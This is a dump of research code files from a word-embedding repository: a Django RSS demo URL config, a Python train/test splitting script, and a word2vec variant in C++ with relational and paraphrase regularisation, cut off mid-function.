{\n ppdict[word][key] = 1;\n }\n }\n }\n ifs.getline(line_buf, 1000, '\\n');\n }\n ifs.close();\n}\n\nvoid Paraphrase2::GetList(string word, vector<string>& pplist)\n{\n word2dict::iterator iter = ppdict.find(word);\n pplist.clear();\n if (iter != ppdict.end()) {\n for (word2int::iterator it = iter->second.begin(); it != iter->second.end(); it++) {\n pplist.push_back(it->first);\n }\n }\n}\n\nvoid Paraphrase2::GetDict(vector<string>& keys)\n{\n}\n"},{"alpha_fraction":0.6622911691665649,"alphanum_fraction":0.6622911691665649,"avg_line_length":33.91666793823242,"blob_id":"7b52f819f4d02c4948cb951a38cf8f1c310c7572","content_id":"5ab1a2b09d216a373887eeb80eb99629f39613e5","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":838,"license_type":"no_license","max_line_length":71,"num_lines":24,"path":"/demo/rss_news/rss_news/urls.py","repo_name":"zbhno37/srwe","src_encoding":"UTF-8","text":"from django.conf.urls import patterns, include, url\nfrom rss import views as rss_views\n# Uncomment the next two lines to enable the admin:\n# from django.contrib import admin\n# admin.autodiscover()\n\nurlpatterns = [\n # Examples:\n # url(r'^$', 'rss_news.views.home', name='home'),\n # url(r'^rss_news/', include('rss_news.foo.urls')),\n\n # Uncomment the admin/doc line below to enable admin documentation:\n # url(r'^admin/doc/', include('django.contrib.admindocs.urls')),\n\n # Uncomment the next line to enable the admin:\n # url(r'^admin/', include(admin.site.urls)),\n url(r'^addrss.htm', rss_views.render_addrss),\n url(r'^addclass.htm', rss_views.render_addclass),\n url(r'^rss/add$', rss_views.add_rss),\n url(r'^class/add$', rss_views.add_class),\n\n # test\n #url(r'^test$', rss_views.fetch_rss_update),\n]\n"},{"alpha_fraction":0.5480682849884033,"alphanum_fraction":0.5624438524246216,"avg_line_length":35.49180221557617,"blob_id":"ec514e1e72c64338eaf95683e6f0bfbe315aff56","content_id":"b15dc150e90643e1490a0307ea40bb361e34fb39","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":2226,"license_type":"no_license","max_line_length":80,"num_lines":61,"path":"/gen_data/split_train_test_data.py","repo_name":"zbhno37/srwe","src_encoding":"UTF-8","text":"import random\nimport logging\nlogging.basicConfig(format='%(asctime)s\\t%(message)s', level=logging.INFO)\nfrom collections import defaultdict\n\ndef sample_all(filename):\n logging.info('split_train_test_data:sample_all: %s' % filename)\n test_percentage = 10\n fout_train = file('%s.train' % filename, 'w')\n fout_test = file('%s.test' % filename, 'w')\n count = 0\n with open(filename) as fin:\n for line in fin:\n if count % 1000 == 0: logging.info(count)\n count += 1\n num = random.randint(1, 100)\n if num <= test_percentage:\n fout_test.write('%s\\n' % line.strip())\n else:\n fout_train.write('%s\\n' % line.strip())\n fout_test.close()\n fout_train.close()\n\ndef sample_by_relation(filename):\n logging.info('split_train_test_data:sample_by_relation: %s' % filename)\n test_percentage = 20\n fout_train = file('%s.train' % filename, 'w')\n fout_test = file('%s.test' % filename, 'w')\n count = 0\n relation_list = defaultdict(list)\n with open(filename) as fin:\n for line in fin:\n if count % 1000 == 0: logging.info(count)\n count += 1\n arr = line.strip().split('\\t')\n h, r, t = arr\n relation_list[r].append(arr)\n #num = random.randint(1, 100)\n #if num <= test_percentage:\n #fout_test.write('%s\\n' % line.strip())\n #else:\n #fout_train.write('%s\\n' % line.strip())\n for relation in relation_list:\n logging.info('%s, size:%d' % (relation, len(relation_list[relation])))\n random.shuffle(relation_list[relation])\n test_size = len(relation_list[relation]) * test_percentage / 100\n for i in range(len(relation_list[relation])):\n if i <= test_size:\n fout_test.write('%s\\n' % '\\t'.join(relation_list[relation][i]))\n else:\n fout_train.write('%s\\n' % '\\t'.join(relation_list[relation][i]))\n fout_test.close()\n fout_train.close()\n\ndef main():\n filename = '../../paper/data/srwe_model/freebase.100.relation'\n #sample_all(filename)\n sample_by_relation(filename)\n\nif __name__ == '__main__':\n main()\n"},{"alpha_fraction":0.423232764005661,"alphanum_fraction":0.44763466715812683,"avg_line_length":44.08086013793945,"blob_id":"87eb31cb09b2fd5bcf3c6060ba4e483fffbc4b39","content_id":"ec3cc79757fe4e84a68686ec4f59d2abd7b79ea0","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":77496,"license_type":"no_license","max_line_length":221,"num_lines":1719,"path":"/src/word2vec_joint.cpp","repo_name":"zbhno37/srwe","src_encoding":"UTF-8","text":"//\n// word2vec.cpp\n// word2vec\n//\n// Created by gflfof gflfof on 14-1-22.\n// Copyright (c) 2014年 hit. All rights reserved.\n//\n\n// Copyright 2013 Google Inc. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <math.h>\n#include <pthread.h>\n#include <sstream>\n#include <iostream>\n#include \"Paraphrase.h\"\n#include \"RelationalData.h\"\n// #include \"EvaluationPP.h\"\n\n\n\n#define MAX_STRING 100\n#define EXP_TABLE_SIZE 1000\n#define MAX_EXP 6\n#define MAX_SENTENCE_LENGTH 1000\n#define MAX_CODE_LENGTH 40\n\nconst long long max_size = 2000; // max length of strings\nconst long long N = 200; // number of closest words\nconst long long max_w = 50; // max length of vocabulary entries\ntypedef std::tr1::unordered_map<string, int > worddict;\n\nconst int vocab_hash_size = 30000000; // Maximum 30 * 0.7 = 21M words in the vocabulary\n\ntypedef float real; // Precision of float numbers\n\nstruct vocab_word {\n long long cn;\n int *point;\n char *word, *code, codelen;\n};\n\nchar train_file[MAX_STRING], output_file[MAX_STRING];\nchar save_vocab_file[MAX_STRING], read_vocab_file[MAX_STRING];\nstruct vocab_word *vocab;\nint binary = 0, cbow = 0, debug_mode = 2, window = 5, min_count = 5;\nint num_threads = 1, min_reduce = 1, num_thread_pmm = 1;\nint *vocab_hash;\nlong long vocab_max_size = 1000, vocab_size = 0, layer1_size = 100;\nlong long train_words = 0, word_count_actual = 0, file_size = 0, classes = 0;\nlong long pp_count_actual = 0;\nreal alpha = 0.025, starting_alpha, sample = 0;\nreal lambda = 0.1, starting_lambda;\nreal gamma_value = 0.0001;\nreal *syn0;\nreal *syn1, *syn1neg, *expTable;\n//real *A;\n\nword2int upperdict;\nvector<string> uppervocab;\n\nint weight_tying = 0;\n\nclock_t start;\nchar train_file2[MAX_STRING];\nchar pp_file[MAX_STRING];\nchar relational_file[MAX_STRING];\nint word2vec = 1;\nint reg = 0;\nint reg_in = 0;\nint reg_out = 1;\nint epochs = 1;\n\nint use_relational = 1;\nint use_pp = 1;\nint pretrain = 0;\nchar pretrain_file[MAX_STRING];\n\nParaphrase2* pp;\nParaphrase* ppeval;\nRelationalData* rdata = NULL;\n//real lambda = 0.1;\nreal lambda_in = 0.1;\nreal lambda_out = 0.1;\n\nlong long sem_dim = 0;\n\nint hs = 1, negative = 0;\nconst int table_size = 1e8;\nint *table;\n\nint LoadEmb(string modelfile);\n\nvoid InitUnigramTable() {\n int a, i;\n long long train_words_pow = 0;\n real d1, power = 0.75;\n table = (int *)malloc(table_size * sizeof(int));\n for (a = 0; a < vocab_size; a++) train_words_pow += pow(vocab[a].cn, power);\n i = 0;\n d1 = pow(vocab[i].cn, power) / (real)train_words_pow;\n for (a = 0; a < table_size; a++) {\n table[a] = i;\n if (a / (real)table_size > d1) {\n i++;\n d1 += pow(vocab[i].cn, power) / (real)train_words_pow;\n }\n if (i >= vocab_size) i = (int)vocab_size - 1;\n }\n}\n\nvoid BuildUpperDict() {\n char tmpword[max_w];\n for (int a = 0; a < vocab_size; a++) {\n for (int c = 0; c < max_w; c++) tmpword[c] = toupper(vocab[a].word[c]);\n word2int::iterator iter = upperdict.find(string(tmpword));\n if (iter == upperdict.end()) upperdict[string(tmpword)] = (int)a;\n uppervocab.push_back(tmpword);\n }\n}\n\nint evaluateMRRout(int threshold, Paraphrase* pp)\n{\n char bestw[N][max_size];\n real* M;\n float dist, len, bestd[N];\n long long words, size, a, c, d, b1;\n\n size = layer1_size;\n words = vocab_size;\n if (threshold) if (words > threshold) words = threshold;\n\n M = (float *)malloc(words * layer1_size * sizeof(float));\n memcpy(M, syn1neg, words * layer1_size * sizeof(float));\n for (int i = 0; i < words; i++) {\n len = 0;\n for (a = 0; a < size; a++) len += M[a + i * size] * M[a + i * size];\n len = sqrt(len);\n for (a = 0; a < size; a++) M[a + i * size] /= len;\n }\n size = layer1_size;\n\n int count = 0;\n int Total = 0; int Num_Ob = 0;\n double score_total = 0.0;\n char key[max_size], answer[max_size];\n for (word2list::iterator iter = pp->pplist.begin(); iter != pp->pplist.end(); iter++) {\n strcpy(key,iter->first.c_str());\n for (a = 0; a < max_w; a++) key[a] = toupper(key[a]);\n vector<string> val = iter -> second;\n\n count++;\n if (count % 10 == 0) {\n printf(\"%d\\r\", count);\n fflush(stdout);\n }\n\n for (a = 0; a < N; a++) bestd[a] = 0;\n for (a = 0; a < N; a++) bestw[a][0] = 0;\n\n //for (b = 0; b < words; b++) if (!strcmp(&vocab[b * max_w], st1)) break;\n worddict::iterator it = upperdict.find(string(key));\n if (it != upperdict.end() && it->second < words) b1 = it->second;\n else continue;\n\n vector<string>::iterator iter2;\n for (iter2 = val.begin(); iter2 != val.end(); iter2++) {\n strcpy(answer, iter2->c_str());\n for (a = 0; a < max_w; a++) answer[a] = toupper(answer[a]);\n it = upperdict.find(string(answer));\n if (it == upperdict.end() || it->second >= words) break;\n dist = 0;\n for (a = 0; a < size; a++) dist += M[a + b1 * size] * M[a + it->second * size];\n //printf(\"%lf\\n\", dist);\n }\n if (iter2 != val.end()) continue;\n\n Num_Ob++;\n for (c = 0; c < words; c++) {\n if (c == b1) continue;\n dist = 0;\n for (a = 0; a < size; a++) dist += M[a + b1 * size] * M[a + c * size];\n for (a = 0; a < N; a++) {\n if (dist > bestd[a]) {\n for (d = N - 1; d > a; d--) {\n bestd[d] = bestd[d - 1];\n strcpy(bestw[d], bestw[d - 1]);\n }\n bestd[a] = dist;\n strcpy(bestw[a], uppervocab[c].c_str());\n break;\n }\n }\n }\n\n double score = 0.0;\n int PP_total = (int)val.size();\n\n for (int i = 0; i < N; i++) {\n if (!strcmp(answer, bestw[i])) {\n //printf(\"%lf\\n\", bestd[i]);\n score += (double)1 / (i + 1);\n break;\n }\n }\n\n Total += PP_total;\n score /= PP_total;\n score_total += score;\n }\n printf(\"\\n\");\n free(M);\n printf(\"Queries seen / total: %d %d %.2f %% \\n\", Num_Ob, (int)pp->pplist.size(), (float)Num_Ob/pp->pplist.size()*100);\n printf(\"MRR (threshold %lld): %.2f %d %.2f %% \\n\", N, score_total, Num_Ob, score_total / Num_Ob * 100);\n return 0;\n}\n\n// Reads a single word from a file, assuming space + tab + EOL to be word boundaries\nvoid ReadWord(char *word, FILE *fin) {\n int a = 0, ch;\n while (!feof(fin)) {\n ch = fgetc(fin);\n if (ch == 13) continue;\n if ((ch == ' ') || (ch == '\\t') || (ch == '\\n')) {\n if (a > 0) {\n if (ch == '\\n') ungetc(ch, fin);\n break;\n }\n if (ch == '\\n') {\n strcpy(word, (char *)\"</s>\");\n return;\n } else continue;\n }\n word[a] = ch;\n a++;\n if (a >= MAX_STRING - 1) a--; // Truncate too long words\n }\n word[a] = 0;\n}\n\n// Returns hash value of a word\nint GetWordHash(const char *word) {\n unsigned long long a, hash = 0;\n for (a = 0; a < strlen(word); a++) hash = hash * 257 + word[a];\n hash = hash % vocab_hash_size;\n return hash;\n}\n\n// Returns position of a word in the vocabulary; if the word is not found, returns -1\nint SearchVocab(const char *word) {\n unsigned int hash = GetWordHash(word);\n while (1) {\n if (vocab_hash[hash] == -1) return -1;\n if (!strcmp(word, vocab[vocab_hash[hash]].word)) return vocab_hash[hash];\n hash = (hash + 1) % vocab_hash_size;\n }\n return -1;\n}\n\n// Reads a word and returns its index in the vocabulary\nint ReadWordIndex(FILE *fin) {\n char word[MAX_STRING];\n ReadWord(word, fin);\n if (feof(fin)) return -1;\n return SearchVocab(word);\n}\n\n// Adds a word to the vocabulary\nint AddWordToVocab(const char *word) {\n unsigned int hash, length = strlen(word) + 1;\n if (length > MAX_STRING) length = MAX_STRING;\n vocab[vocab_size].word = (char *)calloc(length, sizeof(char));\n strcpy(vocab[vocab_size].word, word);\n vocab[vocab_size].cn = 0;\n vocab_size++;\n // Reallocate memory if needed\n if (vocab_size + 2 >= vocab_max_size) {\n vocab_max_size += 1000;\n vocab = (struct vocab_word *)realloc(vocab, vocab_max_size * sizeof(struct vocab_word));\n }\n hash = GetWordHash(word);\n while (vocab_hash[hash] != -1) hash = (hash + 1) % vocab_hash_size;\n vocab_hash[hash] = vocab_size - 1;\n return vocab_size - 1;\n}\n\n// Used later for sorting by word counts\nint VocabCompare(const void *a, const void *b) {\n return ((struct vocab_word *)b)->cn - ((struct vocab_word *)a)->cn;\n}\n\n// Sorts the vocabulary by frequency using word counts\nvoid SortVocab() {\n int a, size;\n unsigned int hash;\n // Sort the vocabulary and keep </s> at the first position\n qsort(&vocab[1], vocab_size - 1, sizeof(struct vocab_word), VocabCompare);\n for (a = 0; a < vocab_hash_size; a++) vocab_hash[a] = -1;\n size = vocab_size;\n train_words = 0;\n for (a = 0; a < size; a++) {\n // Words occuring less than min_count times will be discarded from the vocab\n if (vocab[a].cn < min_count) {\n vocab_size--;\n free(vocab[vocab_size].word);\n } else {\n // Hash will be re-computed, as after the sorting it is not actual\n hash=GetWordHash(vocab[a].word);\n while (vocab_hash[hash] != -1) hash = (hash + 1) % vocab_hash_size;\n vocab_hash[hash] = a;\n train_words += vocab[a].cn;\n }\n }\n vocab = (struct vocab_word *)realloc(vocab, (vocab_size + 1) * sizeof(struct vocab_word));\n // Allocate memory for the binary tree construction\n for (a = 0; a < vocab_size; a++) {\n vocab[a].code = (char *)calloc(MAX_CODE_LENGTH, sizeof(char));\n vocab[a].point = (int *)calloc(MAX_CODE_LENGTH, sizeof(int));\n }\n}\n\n// Reduces the vocabulary by removing infrequent tokens\nvoid ReduceVocab() {\n int a, b = 0;\n\n unsigned int hash;\n for (a = 0; a < vocab_size; a++) if (vocab[a].cn > min_reduce) {\n vocab[b].cn = vocab[a].cn;\n vocab[b].word = vocab[a].word;\n b++;\n } else free(vocab[a].word);\n vocab_size = b;\n for (a = 0; a < vocab_hash_size; a++) vocab_hash[a] = -1;\n for (a = 0; a < vocab_size; a++) {\n // Hash will be re-computed, as it is not actual\n hash = GetWordHash(vocab[a].word);\n while (vocab_hash[hash] != -1) hash = (hash + 1) % vocab_hash_size;\n vocab_hash[hash] = a;\n }\n fflush(stdout);\n min_reduce++;\n}\n\n// Create binary Huffman tree using the word counts\n// Frequent words will have short uniqe binary codes\nvoid CreateBinaryTree() {\n long long a, b, i, min1i, min2i, pos1, pos2, point[MAX_CODE_LENGTH];\n char code[MAX_CODE_LENGTH];\n long long *count = (long long *)calloc(vocab_size * 2 + 1, sizeof(long long));\n long long *binary = (long long *)calloc(vocab_size * 2 + 1, sizeof(long long));\n long long *parent_node = (long long *)calloc(vocab_size * 2 + 1, sizeof(long long));\n for (a = 0; a < vocab_size; a++) count[a] = vocab[a].cn;\n for (a = vocab_size; a < vocab_size * 2; a++) count[a] = 1e15;\n pos1 = vocab_size - 1;\n pos2 = vocab_size;\n // Following algorithm constructs the Huffman tree by adding one node at a time\n for (a = 0; a < vocab_size - 1; a++) {\n // First, find two smallest nodes 'min1, min2'\n if (pos1 >= 0) {\n if (count[pos1] < count[pos2]) {\n min1i = pos1;\n pos1--;\n } else {\n min1i = pos2;\n pos2++;\n }\n } else {\n min1i = pos2;\n pos2++;\n }\n if (pos1 >= 0) {\n if (count[pos1] < count[pos2]) {\n min2i = pos1;\n pos1--;\n } else {\n min2i = pos2;\n pos2++;\n }\n } else {\n min2i = pos2;\n pos2++;\n }\n count[vocab_size + a] = count[min1i] + count[min2i];\n parent_node[min1i] = vocab_size + a;\n parent_node[min2i] = vocab_size + a;\n binary[min2i] = 1;\n }\n // Now assign binary code to each vocabulary word\n for (a = 0; a < vocab_size; a++) {\n b = a;\n i = 0;\n while (1) {\n code[i] = binary[b];\n point[i] = b;\n i++;\n b = parent_node[b];\n if (b == vocab_size * 2 - 2) break;\n }\n vocab[a].codelen = i;\n vocab[a].point[0] = vocab_size - 2;\n for (b = 0; b < i; b++) {\n vocab[a].code[i - b - 1] = code[b];\n vocab[a].point[i - b] = point[b] - vocab_size;\n }\n }\n free(count);\n free(binary);\n free(parent_node);\n}\n\nvoid LearnVocabFromTrainFile() {\n char word[MAX_STRING];\n FILE *fin;\n long long a, i;\n for (a = 0; a < vocab_hash_size; a++) vocab_hash[a] = -1;\n fin = fopen(train_file, \"rb\");\n if (fin == NULL) {\n printf(\"ERROR: training data file not found!\\n\");\n exit(1);\n }\n vocab_size = 0;\n AddWordToVocab((char *)\"</s>\");\n while (1) {\n ReadWord(word, fin);\n if (feof(fin)) break;\n train_words++;\n if ((debug_mode > 1) && (train_words % 1000000 == 0)) {\n printf(\"%lldK%c\", train_words / 1000, '\\n');\n fflush(stdout);\n }\n i = SearchVocab(word);\n if (i == -1) {\n a = AddWordToVocab(word);\n vocab[a].cn = 1;\n } else vocab[i].cn++;\n if (vocab_size > vocab_hash_size * 0.7) ReduceVocab();\n }\n\n // RelationalData\n if (rdata) {\n for (auto &relation_word : rdata->relations) {\n i = SearchVocab(relation_word.first.c_str());\n if (i == -1) {\n a = AddWordToVocab(relation_word.first.c_str());\n vocab[a].cn = relation_word.second;\n } else vocab[i].cn += relation_word.second;\n }\n }\n // RelationData End\n\n SortVocab();\n if (debug_mode > 0) {\n printf(\"Vocab size: %lld\\n\", vocab_size);\n printf(\"Words in train file: %lld\\n\", train_words);\n }\n file_size = ftell(fin);\n fclose(fin);\n}\n\nvoid SaveVocab() {\n long long i;\n FILE *fo = fopen(save_vocab_file, \"wb\");\n for (i = 0; i < vocab_size; i++) fprintf(fo, \"%s %lld\\n\", vocab[i].word, vocab[i].cn);\n fclose(fo);\n}\n\nvoid ReadVocab() {\n long long a, i = 0;\n char c;\n char word[MAX_STRING];\n FILE *fin = fopen(read_vocab_file, \"rb\");\n if (fin == NULL) {\n printf(\"Vocabulary file not found\\n\");\n exit(1);\n }\n for (a = 0; a < vocab_hash_size; a++) vocab_hash[a] = -1;\n vocab_size = 0;\n while (1) {\n ReadWord(word, fin);\n if (feof(fin)) break;\n a = AddWordToVocab(word);\n fscanf(fin, \"%lld%c\", &vocab[a].cn, &c);\n i++;\n }\n SortVocab();\n if (debug_mode > 0) {\n printf(\"Vocab size: %lld\\n\", vocab_size);\n printf(\"Words in train file: %lld\\n\", train_words);\n }\n fin = fopen(train_file, \"rb\");\n if (fin == NULL) {\n printf(\"ERROR: training data file not found!\\n\");\n exit(1);\n }\n fseek(fin, 0, SEEK_END);\n file_size = ftell(fin);\n fclose(fin);\n}\n\nvoid InitNet() {\n long long a, b;\n a = posix_memalign((void **)&syn0, 128, (long long)vocab_size * layer1_size * sizeof(real));\n if (syn0 == NULL) {printf(\"Memory allocation failed\\n\"); exit(1);}\n if (hs) {\n a = posix_memalign((void **)&syn1, 128, (long long)vocab_size * layer1_size * sizeof(real));\n if (syn1 == NULL) {printf(\"Memory allocation failed\\n\"); exit(1);}\n for (b = 0; b < layer1_size; b++) for (a = 0; a < vocab_size; a++)\n syn1[a * layer1_size + b] = 0;\n }\n if (negative>0) {\n a = posix_memalign((void **)&syn1neg, 128, (long long)vocab_size * layer1_size * sizeof(real));\n if (syn1neg == NULL) {printf(\"Memory allocation failed\\n\"); exit(1);}\n for (b = 0; b < layer1_size; b++) for (a = 0; a < vocab_size; a++)\n syn1neg[a * layer1_size + b] = (rand() / (real)RAND_MAX - 0.5) / layer1_size;\n //syn1neg[a * layer1_size + b] = 0;\n }\n for (b = 0; b < layer1_size; b++) for (a = 0; a < vocab_size; a++)\n syn0[a * layer1_size + b] = (rand() / (real)RAND_MAX - 0.5) / layer1_size;\n\n if (pretrain) LoadEmb(pretrain_file);\n //else for (b = 0; b < layer1_size; b++) for (a = 0; a < vocab_size; a++)\n // syn1neg[a * layer1_size + b] = (rand() / (real)RAND_MAX - 0.5) / layer1_size;\n\n CreateBinaryTree();\n}\n\nvoid *TrainRelationVectorThread(void *id){\n //relationconfig\n if (use_relational && negative > 0 and rdata != NULL) {\n long long head_id, tail_id, relation_id;\n long long update_relation_word_count = 0;\n long long c, d, target, label, l2;\n unsigned long long next_random = (long long)id;\n real f, g;\n real *neu1 = (real *)calloc(layer1_size, sizeof(real));\n real *neu1e = (real *)calloc(layer1_size, sizeof(real));\n unordered_map<string, vector<pair<string, string>>> &dataset = rdata->dataset;\n for (int ep = 0; ep < epochs; ep++) {\n printf(\"TrainRelationVectorThread: ep:%d, update_relation_word_count:%lld\\n\", ep, update_relation_word_count);\n for (auto iter = dataset.begin(); iter != dataset.end(); iter++) {\n for (auto pair_iter = iter->second.begin(); pair_iter != iter->second.end(); pair_iter++) {\n head_id = SearchVocab(iter->first.c_str());\n relation_id = SearchVocab(pair_iter->first.c_str());\n tail_id = SearchVocab(pair_iter->second.c_str());\n if (head_id == -1 || relation_id == -1 || tail_id == -1) continue;\n update_relation_word_count++;\n // sum of h + r\n for (c = 0; c < layer1_size; c++) neu1[c] = 0;\n for (c = 0; c < layer1_size; c++) {\n // update word vector\n neu1[c] += syn0[c + head_id * layer1_size] + syn0[c + relation_id * layer1_size];\n //neu1[c] += syn1neg[c + head_id * layer1_size] + syn1neg[c + relation_id * layer1_size];\n }\n for (c = 0; c < layer1_size; c++) neu1e[c] = 0;\n // NEGATIVE SAMPLING\n // sample with tail\n if (negative > 0) for (d = 0; d < negative + 1; d++) {\n if (d == 0) {\n target = tail_id;\n label = 1;\n } else {\n next_random = next_random * (unsigned long long)25214903917 + 11;\n target = table[(next_random >> 16) % table_size];\n if (target == 0) target = next_random % (vocab_size - 1) + 1;\n if (target == tail_id) continue;\n label = 0;\n }\n l2 = target * layer1_size;\n f = 0;\n for (c = 0; c < layer1_size; c++) f += neu1[c] * syn0[c + l2];\n //for (c = 0; c < layer1_size; c++) f += neu1[c] * syn1neg[c + l2];\n if (f > MAX_EXP) g = (label - 1) * gamma_value;\n else if (f < -MAX_EXP) g = (label - 0) * gamma_value;\n else g = (label - expTable[(int)((f + MAX_EXP) * (EXP_TABLE_SIZE / MAX_EXP / 2))]) * gamma_value;\n //accumulated for e{h + r}\n for (c = 0; c < layer1_size; c++)\n neu1e[c] += g * syn0[l2 + c];\n //neu1e[c] += g * syn1neg[l2 + c];\n //update e{t}\n for (c = 0; c < layer1_size; c++) {\n syn0[c + l2] += g * neu1[c];\n //syn1neg[c + l2] += g * neu1[c];\n }\n }\n // update e{h} and e{r}\n for (c = 0; c < layer1_size; c++) {\n syn0[c + head_id * layer1_size] += neu1e[c];\n syn0[c + relation_id * layer1_size] += neu1e[c];\n //syn1neg[c + head_id * layer1_size] += neu1e[c];\n //syn1neg[c + relation_id * layer1_size] += neu1e[c];\n }\n }\n }\n }\n free(neu1);\n free(neu1e);\n }\n return 0;\n}\n\nvoid *TrainModelRegThread(void *id) {\n long long a, b, d, word, last_word, sentence_length = 0, sentence_position = 0;\n long long word_count = 0, last_word_count = 0, sen[MAX_SENTENCE_LENGTH + 1];\n long long l1, l2, c, target, label;\n unsigned long long next_random = (long long)id;\n real f, g;\n clock_t now;\n real *neu1 = (real *)calloc(layer1_size, sizeof(real));\n real *neu1e = (real *)calloc(layer1_size, sizeof(real));\n FILE *fi = fopen(train_file, \"rb\");\n fseek(fi, file_size / (long long)num_threads * (long long)id, SEEK_SET);\n while (1) {\n if (word_count - last_word_count > 10000) {\n word_count_actual += word_count - last_word_count;\n last_word_count = word_count;\n if ((debug_mode > 1)) {\n now=clock();\n printf(\"%cAlpha: %f Progress: %.2f%% Words/thread/sec: %.2fk \", 13, alpha,\n word_count_actual / (real)(train_words + 1) * 100,\n word_count_actual / ((real)(now - start + 1) / (real)CLOCKS_PER_SEC * 1000));\n fflush(stdout);\n }\n alpha = starting_alpha * (1 - word_count_actual / (real)(train_words + 1));\n if (alpha < starting_alpha * 0.0001) alpha = starting_alpha * 0.0001;\n }\n if (sentence_length == 0) {\n while (1) {\n word = ReadWordIndex(fi);\n if (feof(fi)) break;\n if (word == -1) continue;\n word_count++;\n if (word == 0) break;\n // The subsampling randomly discards frequent words while keeping the ranking same\n if (sample > 0) {\n real ran = (sqrt(vocab[word].cn / (sample * train_words)) + 1) * (sample * train_words) / vocab[word].cn;\n next_random = next_random * (unsigned long long)25214903917 + 11;\n if (ran < (next_random & 0xFFFF) / (real)65536) continue;\n }\n sen[sentence_length] = word;\n sentence_length++;\n if (sentence_length >= MAX_SENTENCE_LENGTH) break;\n }\n sentence_position = 0;\n }\n if (feof(fi)) break;\n if (word_count > train_words / num_threads) break;\n word = sen[sentence_position];\n if (word == -1) continue;\n for (c = 0; c < layer1_size; c++) neu1[c] = 0;\n for (c = 0; c < layer1_size; c++) neu1e[c] = 0;\n next_random = next_random * (unsigned long long)25214903917 + 11;\n b = next_random % window;\n if (cbow) { //train the cbow architecture\n // in -> hidden\n for (a = b; a < window * 2 + 1 - b; a++) if (a != window) {\n c = sentence_position - window + a;\n if (c < 0) continue;\n if (c >= sentence_length) continue;\n last_word = sen[c];\n if (last_word == -1) continue;\n for (c = 0; c < layer1_size; c++) neu1[c] += syn0[c + last_word * layer1_size];\n }\n // NEGATIVE SAMPLING\n if (negative > 0) for (d = 0; d < negative + 1; d++) {\n if (d == 0) {\n target = word;\n label = 1;\n } else {\n next_random = next_random * (unsigned long long)25214903917 + 11;\n target = table[(next_random >> 16) % table_size];\n if (target == 0) target = next_random % (vocab_size - 1) + 1;\n if (target == word) continue;\n label = 0;\n }\n l2 = target * layer1_size;\n f = 0;\n for (c = 0; c < layer1_size; c++) f += neu1[c] * syn1neg[c + l2];\n if (f > MAX_EXP) g = (label - 1) * alpha;\n else if (f < -MAX_EXP) g = (label - 0) * alpha;\n else g = (label - expTable[(int)((f + MAX_EXP) * (EXP_TABLE_SIZE / MAX_EXP / 2))]) * alpha;\n for (c = 0; c < layer1_size; c++) neu1e[c] += g * syn1neg[c + l2];\n for (c = 0; c < layer1_size; c++) syn1neg[c + l2] += g * neu1[c];\n }\n // hidden -> in\n for (a = b; a < window * 2 + 1 - b; a++) if (a != window) {\n c = sentence_position - window + a;\n if (c < 0) continue;\n if (c >= sentence_length) continue;\n last_word = sen[c];\n if (last_word == -1) continue;\n l1 = last_word * layer1_size;\n\n // baihan\n // the word of context will be used for pp\n //todo:\n vector<string> pplist;\n if (reg_in) {\n // Regularizations\n //vector<string>* pplist = pp->GetList(vocab[last_word].word);\n pp->GetList(vocab[last_word].word, pplist);\n //if (NULL == pplist) continue;\n if (pplist.size() != 0){\n unsigned long length = pplist.size();\n for (c = 0; c < layer1_size; c++) neu1[c] = 0;\n for(vector<string>::iterator iter = pplist.begin(); iter != pplist.end(); iter++){\n int id = SearchVocab((char*)iter->c_str());\n if (id != -1) {\n long long l = id * layer1_size;\n for (c = 0; c < sem_dim; c++) neu1[c] += syn0[c + l];\n }\n else\n {\n length--;\n }\n }\n\n if (length != 0) {\n //update pp words\n for(vector<string>::iterator iter = pplist.begin(); iter != pplist.end(); iter++){\n int id = SearchVocab((char*)iter->c_str());\n if (id != -1) {\n long long l = id * layer1_size;\n for (c = 0; c < sem_dim; c++) syn0[c + l] -= alpha * lambda / length * (syn0[c + l] - syn0[c + l1]);\n }\n }\n\n //update central word\n for (c = 0; c < sem_dim; c++) syn0[c + l1] += alpha * lambda * (neu1[c] / length - syn0[c + l1]);\n }\n }\n }\n for (c = 0; c < layer1_size; c++) syn0[c + last_word * layer1_size] += neu1e[c];\n //currently we assume that words in the window are unlikely to have overlaped pp-lists. Thus the embedding updated here will be unlikely to change the gradients for the regularization terms of other words.\n }\n vector<string> pplist;\n if (reg_out) {\n if(negative > 0){\n pp->GetList(vocab[word].word, pplist);\n if(0 != pplist.size()) {\n l2 = word * layer1_size;\n\n unsigned long length = pplist.size();\n for (c = 0; c < layer1_size; c++) neu1e[c] = 0;\n for(vector<string>::iterator iter = pplist.begin(); iter != pplist.end(); iter++){\n int id = SearchVocab((char*)iter->c_str());\n if (id != -1) {\n long long l = id * layer1_size;\n for (c = 0; c < layer1_size; c++) neu1e[c] += syn1neg[c + l];\n }\n else\n {\n length--;\n }\n }\n\n if (length != 0) {\n //update pp words\n for(vector<string>::iterator iter = pplist.begin(); iter != pplist.end(); iter++){\n int id = SearchVocab((char*)iter->c_str());\n if (id != -1) {\n long long l = id * layer1_size;\n for (c = 0; c < layer1_size; c++) syn1neg[c + l] -= alpha * lambda / length * (syn1neg[c + l] - syn1neg[c + l2]);\n }\n }\n\n //update central word\n for (c = 0; c < layer1_size; c++) syn1neg[c + l2] += alpha * lambda * (neu1e[c] / length - syn1neg[c + l2]);\n }\n }\n }\n }\n }\n else if(!cbow) { //train skip-gram\n for (a = b; a < window * 2 + 1 - b; a++) if (a != window) {\n c = sentence_position - window + a;\n if (c < 0) continue;\n if (c >= sentence_length) continue;\n last_word = sen[c];\n if (last_word == -1) continue;\n l1 = last_word * layer1_size;\n for (c = 0; c < layer1_size; c++) neu1e[c] = 0;\n // HIERARCHICAL SOFTMAX\n if (hs) for (d = 0; d < vocab[word].codelen; d++) {\n f = 0;\n l2 = vocab[word].point[d] * layer1_size;\n // Propagate hidden -> output\n for (c = 0; c < layer1_size; c++) f += syn0[c + 